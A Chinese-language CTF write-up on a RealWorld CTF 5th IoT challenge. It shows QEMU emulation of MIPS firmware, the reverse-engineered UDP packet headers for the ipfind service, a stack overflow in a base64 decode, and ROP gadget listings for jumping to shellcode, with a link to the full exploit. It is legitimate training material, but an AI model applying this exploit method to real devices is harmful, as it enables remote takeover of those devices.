前言
RealWorld CTF 5th 裡的一道iot-pwn,根據真實裝置韌體改編而成,覺得題目貼近iot實戰且很有意思,故在此記錄一下復現過程。
題目分析
題目描述
Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.
從中可以看出漏洞大機率存在於UDP
服務中。
韌體分析
拿到手的是一個bin包
,解壓出來可以得到一個完整的檔案系統。相比於常規pwn題單一的二進位制而言,我們首先要做的是尋找漏洞檔案。既然是真實裝置改編那我們就可以先在網上找一找官方韌體並嘗試下載最新版本。
下載到官方的韌體後,可以採取bindiff
等方法去找被修改過的二進位制檔案。可以初步判定漏洞應該是出在ipfind
程式中。
並且發現此韌體為mips大端
,且可疑漏洞檔案沒開保護。
韌體模擬
我是直接用qemu
去模擬的這個韌體,當然也可以嘗試用FirmAE
,firmadyne
,firmware-analysis-plus
等工具去進行模擬。我的qemu
啟動指令碼如下:
sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo ifconfig tap0 192.168.2.100/24 up
sudo qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
啟動完成之後用scp
把韌體包、gdbserver、完整的busybox等傳上去。之後用如下命令切換到韌體包根目錄進行操作:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
之後透過/etc/rc.d/rcS
初始化服務。
啟動完成之後透過./busybox-mips netstat -pantu
去檢視開放的埠及對應的二進位制檔案。
可以看到我們之前分析的可疑檔案ipfind
正是UDP
服務。
值得注意的是我們用ps
去檢視程式發現執行的是/usr/sbin/ipfind br0
這個命令,但我qemu
的有效網路卡是eth0
,這樣以後我們會發現無法使用gdbserver
進行除錯,故我們要殺死該程式,並執行/usr/sbin/ipfind eth0 &
,這樣我們就可以使用gdbserver進行愉快的除錯了。
漏洞檔案分析
首先是建立socket通訊
並繫結到62720埠
,與剛才看到的埠一致。
接著從client端接收資料,並進行一系列的操作。之後會對資料進行一個判斷,以此來確定是否進入sub_40172C函式
或sub_4013F4函式
。
sub_40172C函式
想進入這個函式我們可以逆出來他所需接受的內容開頭應該為:
header1 = b"FIVI"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x0A\x01\x00\x00"
header1+= b"\x00\x00\x00\x00"
header1+= b"\x00"
header1+= b"\xFF\xFF\xFF\xFF\xFF\xFF"
header1+= b"\x00\x00"
header1+= b"\x00\x00\x00\x00"
這個函式會呼叫sub_400E50
得到net_get_hwaddr(ifname, a1 + 17)
,實際上就是mac addr
(qemu
啟動時可以進行設定,之後列印出來對比一下即可),並把它傳送到client端
。這個值對於我們進入第二個函式必不可少。
sub_4013F4函式
想進入這個函式我們可以逆出來它所需接受的內容開頭應該為:
header2 = b"FIVI"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x0A\x02\x00\x00"
header2+= b"\x00\x00\x00\x00"
header2+= b"\x00"
header2+= mac
header2+= b"\x00\x00"
header2+= b"\x8E\x00\x00\x00"
進入這個函式後,我們即可找到我們的漏洞函式sub_400F50
,這個函式有兩次base64 decode
,第二次解碼時會發生緩衝區溢位。
漏洞利用
因為沒開保護,我們佈置好rop
跳到shellcode
上即可。但是我們由於沒有libc
地址,我們需要花費一定時間在ipfind
這個檔案裡去找gadgets
進行利用。
我們想要跳轉到shellcode
上執行,那麼我們就需要可以洩露棧地址的gadget
,於是我們找到了如下的gadget
來洩露棧地址:
.text:004013D0 sub_4013D0: # CODE XREF: sub_4013F4+9C↓p
.text:004013D0 # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8 = -8
.text:004013D0 arg_4 = 4
.text:004013D0 arg_8 = 8
.text:004013D0 arg_C = 0xC
.text:004013D0
.text:004013D0 addiu $sp, -0x10
.text:004013D4 sw $a1, 0x10+arg_4($sp)
.text:004013D8 sw $a2, 0x10+arg_8($sp)
.text:004013DC sw $a3, 0x10+arg_C($sp)
.text:004013E0 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 sw $v0, 0x10+var_8($sp)
.text:004013E8 addiu $sp, 0x10
.text:004013EC jr $ra
.text:004013F0 nop
這個gadget
可以控制v0
為棧地址,我們向上交叉引用找到一個既能控制ra
又不改變v0
的gadget
下:
.text:00401F98 jal sub_4013D0
.text:00401F9C li $a0, aCanTGetHelloSo # "Can't get hello socket\n"
.text:00401FA0 b loc_4020B4
.text:00401FA4 nop
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j ...
.text:004020B4 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 lw $s1, 0x7C+var_s4($sp)
.text:004020BC lw $s0, 0x7C+var_s0($sp)
.text:004020C0 jr $ra
.text:004020C4 addiu $sp, 0x88
但是在走這條gadget
之前我們得先恢復gp
暫存器,並且還要考慮到a1,a2,a3
暫存器對棧的影響,最好可以控制為nop
指令,以免對剛才洩露出來的棧地址上指令造成影響。
.text:00401218 lw $gp, 0x9C+var_8C($sp)
.text:0040121C la $t9, close
.text:00401220 jalr $t9 ; close
.text:00401224 move $a0, $s0 # fd
.text:00401228 move $v0, $zero
.text:0040122C
.text:0040122C loc_40122C: # CODE XREF: sub_401120+80↑j
.text:0040122C # sub_401120+A0↑j
.text:0040122C lw $ra, 0x9C+var_s8($sp)
.text:00401230 lw $s1, 0x9C+var_s4($sp)
.text:00401234 lw $s0, 0x9C+var_s0($sp)
.text:00401238 jr $ra
.text:0040123C addiu $sp, 0xA8
接著可以找到如下gadget
使得可以跳轉到S0
暫存器存指向的地址中:
.text:004027C0 loc_4027C0: # CODE XREF: sub_402790+3C↓j
.text:004027C0 jalr $t9
.text:004027C4 nop
.text:004027C8
.text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j
.text:004027C8 lw $t9, 0($s0)
.text:004027CC bne $t9, $s1, loc_4027C0
.text:004027D0 addiu $s0, -4
.text:004027D4 lw $ra, 0x1C+var_s8($sp)
.text:004027D8 lw $s1, 0x1C+var_s4($sp)
.text:004027DC lw $s0, 0x1C+var_s0($sp)
.text:004027E0 jr $ra
.text:004027E4 addiu $sp, 0x28
最後找一個可以把v0
賦給任意地址,並且可以控制s0
的gadget
即可:
.text:00400F28 sw $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C la $v0, ifname
.text:00400F30 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 la $t9, net_get_hwaddr
.text:00400F38 jalr $t9 ; net_get_hwaddr
.text:00400F3C addiu $a1, $s0, 0x11
.text:00400F40 lw $ra, 0x20+var_s4($sp)
.text:00400F44 lw $s0, 0x20+var_s0($sp)
.text:00400F48 jr $ra
.text:00400F4C addiu $sp, 0x28
exploit效果
完整exploit見:https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py
參考文章
https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ
文章首發:ChaMd5 微信公眾號